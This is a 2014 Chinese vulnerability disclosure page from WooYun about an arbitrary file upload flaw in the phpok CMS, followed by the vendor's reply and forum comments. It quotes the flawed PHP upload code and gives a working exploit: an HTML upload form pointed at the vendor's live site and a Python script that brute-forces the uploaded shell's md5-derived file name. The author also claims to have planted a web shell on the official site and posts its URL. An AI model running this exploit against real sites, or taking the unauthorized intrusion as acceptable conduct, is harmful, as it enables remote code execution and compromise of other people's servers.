当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-063207

漏洞标题:phpok前台任意文件上传getshell(官网已shell)

相关厂商:phpok.com

漏洞作者: phith0n

提交时间:2014-06-02 13:54

修复时间:2014-07-17 15:29

公开时间:2014-07-17 15:29

漏洞类型:文件上传导致任意代码执行

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-06-02: 细节已通知厂商并且等待厂商处理中
2014-06-03: 厂商已经确认,细节仅向厂商公开
2014-06-06: 细节向第三方安全合作伙伴开放
2014-07-28: 细节向核心白帽子及相关领域专家公开
2014-08-07: 细节向普通白帽子公开
2014-08-17: 细节向实习白帽子公开
2014-07-17: 细节向公众公开

简要描述:

另一个更好用的0day已经没了,把这个也放出来,官网已shell。

详细说明:

/framework/www/upload_control.php第45行:

function base_f()
{
$rs = $this->upload_base("Filedata");
if($rs["status"] == "ok")
{
error("图片上传成功",$this->url("res","add"),"ok");
}
else
{
error($rs["error"],$this->url("res","add"),"error");
}
}


调用了upload_base,跟进去看看:

function upload_base($input_name = "Filedata",$upload_type)
{
$cateid = $this->get("cateid","int");
$rs = $this->upload($input_name);
if($rs["status"] != "ok")
{
return $rs;
}


调用了$this->upload来上传文件。继续跟进去看看:

function upload($inputname)
{
if(!$this->ifset) $this->auto_app();
if(!$inputname) return false;
$path = $this->dir_res;
if(!isset($_FILES[$inputname]))
{
return array("status"=>"error","error_id"=>"1001","error"=>"没有指定上传的图片");
}
//生成新的文件名称
$file_name = substr(md5(time().rand(0,9999)),9,16);
$zip_filename = $file_name;//如果是zip压缩包
$path_info = pathinfo($_FILES[$inputname]['name']);
$file_extension = strtolower($path_info["extension"]);
$file_name .= ".".$file_extension;
$tmp_title = $_FILES[$inputname]['name'];
if(!@copy($_FILES[$inputname]["tmp_name"],$path.$file_name))
{
return array("status"=>"error","error_id"=>"1002","error"=>"图片无法复制到指定目录");
}
if(!in_array($file_extension,$this->file_ext))
{
return array("status"=>"error","error_id"=>"1003","error"=>"附件类型不支持");
}
return array("status"=>"ok","title"=>$tmp_title,"filename"=>$path.$file_name,"ext"=>$file_extension);
}


仔细观察最后两个if语句,第一个是copy,第二个才是判断后缀名。也就是说它先把我上传的任意文件copy到web目录下,再判断了这个文件后缀是否合法。而且判断完毕后并没有删除不合法的文件。
所以我们可以利用这一点来上传任意文件,虽然最后我不知道上传后的文件名,但这个文件名是可以爆破出来的。
文件名命名规则:substr(md5(time().rand(0,9999)),9,16)
取当前时间 和 0-9999之前的随机数的md5值。这个好说,当前时间基本就在发包以后的1~3秒,4位随机数。也就说我只用爆破大概1W到3W次就能找到我上传的文件了。

漏洞证明:

本地构造一个上传单页:

<form name="form" method="post" action="http://www.phpok.com/index.php?c=upload&f=base" enctype="multipart/form-data" >
<input type="file" name="Filedata">
<input type="submit" name="Submit" value="上传" ></form>


拉一个shell点击上传。中途抓包,查看返回包:

10.jpg


可以看到返回包的时间,这个时间基本上就是生成文件名的时候取的time()。
通过返回包里的Date计算出此时的时间戳,也就是重命名时候取的time()值(就算不是,相差也不会太大,一两秒内)
我计算出的时间戳值为1401619111
然后我简单写一个单线程脚本(py需要安装requests库),来跑一下数据包。上传的文件默认放在/res目录下,我们就来爆破一下这个文件名:

import requests, hashlib
def md5(str):
m = hashlib.md5()
m.update(str)
return m.hexdigest()
time = '1401619111'
for x in xrange(0,9999):
target = "http://localhost/phpok/res/%s.php" % md5(time + str(x))[9: 9 + 16]
res = requests.get(target)
if res.status_code != 404:
print x, target
break


因为是本地,所以很快就跑出了shell的地址:

11.jpg


访问可见phpinfo:

12.jpg


危害性证明:
官网shell地址,也是我跑出来的,运气比较好,随机数比较小,跑了一分钟就出来了
http://www.phpok.com/res/49d39bf998b3e28e.php

修复方案:

你猜~

版权声明:转载请注明来源 phith0n@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2014-06-03 10:14

厂商回复:

感谢您的意见,我真心没有想到有这么严重问题。我们正在努力处理

最新状态:

暂无


漏洞评价:

评论

  1. 2014-06-02 14:00 | ′ 雨。 ( 普通白帽子 | Rank:1231 漏洞数:190 | Only Code Never Lie To Me.)

    师傅 首页 走起。

  2. 2014-06-02 14:13 | roker ( 普通白帽子 | Rank:357 漏洞数:108 )

    前排出售瓜子

  3. 2014-06-02 14:15 | ′ 雨。 ( 普通白帽子 | Rank:1231 漏洞数:190 | Only Code Never Lie To Me.)

    @roker 我日 敢在我师傅这卖瓜子?

  4. 2014-06-02 14:31 | Sunshie ( 实习白帽子 | Rank:58 漏洞数:10 | http://phpinfo.me)

    前排广告位招租

  5. 2014-06-02 14:31 | mramydnei ( 普通白帽子 | Rank:348 漏洞数:80 )

    师傅就是叼

  6. 2014-06-02 14:44 | phith0n 认证白帽子 ( 核心白帽子 | Rank:656 漏洞数:107 | 一个想当文人的黑客~)

    多让我上几次首页呀~~

  7. 2014-06-02 14:49 | Xser ( 普通白帽子 | Rank:194 漏洞数:61 | JDSec)

    卖黄瓜~

  8. 2014-06-02 14:53 | roker ( 普通白帽子 | Rank:357 漏洞数:108 )

    @phith0n @′ 雨。 我错了……

  9. 2014-06-02 16:23 | 索马里的海贼 ( 普通白帽子 | Rank:254 漏洞数:24 | http://tieba.baidu.com/f?kw=WOW)

    你啥时候提交的啊。。。我昨天提交了没审核。。。。http://wooyun.org/bugs/wooyun-2014-063106/trace/cdf1cb4597ad11280adbdc024f4ef7fd

  10. 2014-06-02 16:38 | saviour ( 普通白帽子 | Rank:188 漏洞数:29 | Saviour.Com.Cn 网站正在备案中)

    前台上传头像处,可以传shell,但是获取不了文件名,他的文件是随机生成的,还是有规律生成的?

  11. 2014-06-03 10:33 | phpok企业站(乌云厂商)

    我那个狠,哥伤心了,正在处理中

  12. 2014-06-03 12:05 | 索马里的海贼 ( 普通白帽子 | Rank:254 漏洞数:24 | http://tieba.baidu.com/f?kw=WOW)

    @phpok企业站 “另一个更好用的0day”来了 http://www.wooyun.org/bugs/wooyun-2014-063106/ 一起处理吧:)

  13. 2014-06-03 13:36 | phith0n 认证白帽子 ( 核心白帽子 | Rank:656 漏洞数:107 | 一个想当文人的黑客~)

    @phpok企业站 礼物就不用了,你们处理的很及时很负责,感谢!

  14. 2014-06-06 13:42 | phpok企业站(乌云厂商)

    @索马里的海贼 已确认~安排处理中

  15. 2014-06-06 13:43 | phpok企业站(乌云厂商)

    @phith0n 不及时不行啊,开发这个东东这么多年了,有感情了。公司的全部生活费全靠这个东东

  16. 2014-07-17 15:37 | 铁蛋火车侠 ( 普通白帽子 | Rank:156 漏洞数:31 | Q群371620085 技术交流群 有漂亮妹纸!)

    吊炸天

  17. 2014-07-17 15:46 | ′ 雨。 ( 普通白帽子 | Rank:1231 漏洞数:190 | Only Code Never Lie To Me.)

    4,30天后向实习白帽子公开;5,45天后向公众公开; 师傅 我目测你这个没选择通用型。

  18. 2014-07-17 15:57 | phith0n 认证白帽子 ( 核心白帽子 | Rank:656 漏洞数:107 | 一个想当文人的黑客~)

    @′ 雨。 不知道,在哪看?

  19. 2014-07-17 16:58 | pandas ( 普通白帽子 | Rank:585 漏洞数:58 | 国家一级保护动物)

    吊,来拜读了

  20. 2014-07-17 17:00 | ′ 雨。 ( 普通白帽子 | Rank:1231 漏洞数:190 | Only Code Never Lie To Me.)

    @phith0n 看你这公开时间就知道啦 让狗哥帮你改改吧 要不没奖金的

  21. 2014-07-17 17:18 | ′ 雨。 ( 普通白帽子 | Rank:1231 漏洞数:190 | Only Code Never Lie To Me.)

    普通漏洞: 1,5天厂商确认周期(5天内未确认视为忽略,直接公开); 2,10天后向核心及相关领域专家公开; 3,20天后向普通白帽子公开; 4,30天后向实习白帽子公开; 5,45天后向公众公开; 6,期间厂商可自行提前公开,向普通白帽公开的时候可以使用乌云币购买提前查看漏洞细节。 通用型漏洞: 1,5天厂商确认周期(5天内未确认视为忽略,但不公开,直接进入2); 2,确认3天后对安全合作伙伴公开 3,10天后向核心及相关领域专家公开; 4,20天后向普通白帽子公开; 5,40天后向实习白帽子公开; 6,90天后向公众公开; 7,不支持付乌云币提前查看漏洞。 再对比一下你这公开的时间 就知道没选通用咯。

  22. 2014-07-17 19:53 | phith0n 认证白帽子 ( 核心白帽子 | Rank:656 漏洞数:107 | 一个想当文人的黑客~)

    @′ 雨。 似乎我给@疯狗 发信息他都没甩过我 >.<哭瞎了

  23. 2014-07-17 20:00 | 疯狗 认证白帽子 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞,心中自然无码。)

    @phith0n 给改过来了